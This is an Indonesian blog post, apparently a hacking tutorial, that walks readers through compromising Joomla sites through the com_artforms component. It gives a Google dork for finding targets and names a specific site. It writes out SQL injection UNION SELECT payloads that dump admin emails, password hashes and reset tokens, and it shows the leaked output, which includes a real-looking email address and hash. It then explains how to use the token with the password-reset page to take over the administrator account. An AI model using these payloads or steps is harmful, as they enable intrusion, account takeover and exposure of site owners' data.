Banyak yang minta toturial joomla
skrng akan saya kash...
jangan malas ya main MANUAL
Langsung aja ke TKP
targetnya
cari di google
pake dork ini
option com_artforms
jangan malas mencari -_- di google :D
kita dapat target yaitu :
http://www.avaclean.com/
di exploid
ni kodenya di paste ke target tadi ya :D
/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(email,0x3a,us
ername,0x3a,password)+from+jos_users--
ntar jadi nya kyak gini
disitu udah kelihatan emailnya
josh@bkmediagroup.comadminjosh@bkmediagroup.com:josh@bkmediagroup.com4fffa8274459e218833756e3149ab20d:jWtEsQNqFQPZchh86wvmnO3XIlTOwZ9P
nah open tab lagi ya kk mastah :)
terus
copy code reset pass ini
/index.php?option=com_user&view=reset
terus masukin kode reset paswordnya menjadi seperti ini :
http://www.avaclean.com//index.php?option=com_user&view=reset
setelah itu disuruh masukin email nantinya
masukin email yg kita dapat tadi
yaitu
josh@bkmediagroup.com
setelah di enter
anda disuruh masukin code :
kita tinggalin dulu yg ini
kita cari kode tsb di
web yg kita exploid tadi
open tab lagi neh untuk ngambil token nya :)
masukan code ini :
/index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(username,0x3a,activation)+from+jos_users
ntar jadi nya gini
http://sitetarget.com//index.php?option=com_artforms&task=vferforms&id=1+UNION+SELECT+1,2,3,version(),5,concat_ws(username,0x3a,activation)+from+jos_users
code nya :
admineda7d6142fac40a533b56407a4617371
nah kita kembali ke halaman reset tadi
kita masukin aja token yang ini
eda7d6142fac40a533b56407a4617371
truss enter :)) eehhh minta password baru dech dia :D
uppzzzzz kita masukin aja dech password kita :))
setelah udah masukin
kita masuk ke halaman admin nya
contoh :
http://sitetarget.com/administrator
nah masukin user nya :) & password kita :D
horee masuk beres dah selamat mencoba ya all :D
klau ini berguna buat kmu smua tolong di share & jngan lupa blog saya di follow
My Name : Josua Sean Reay
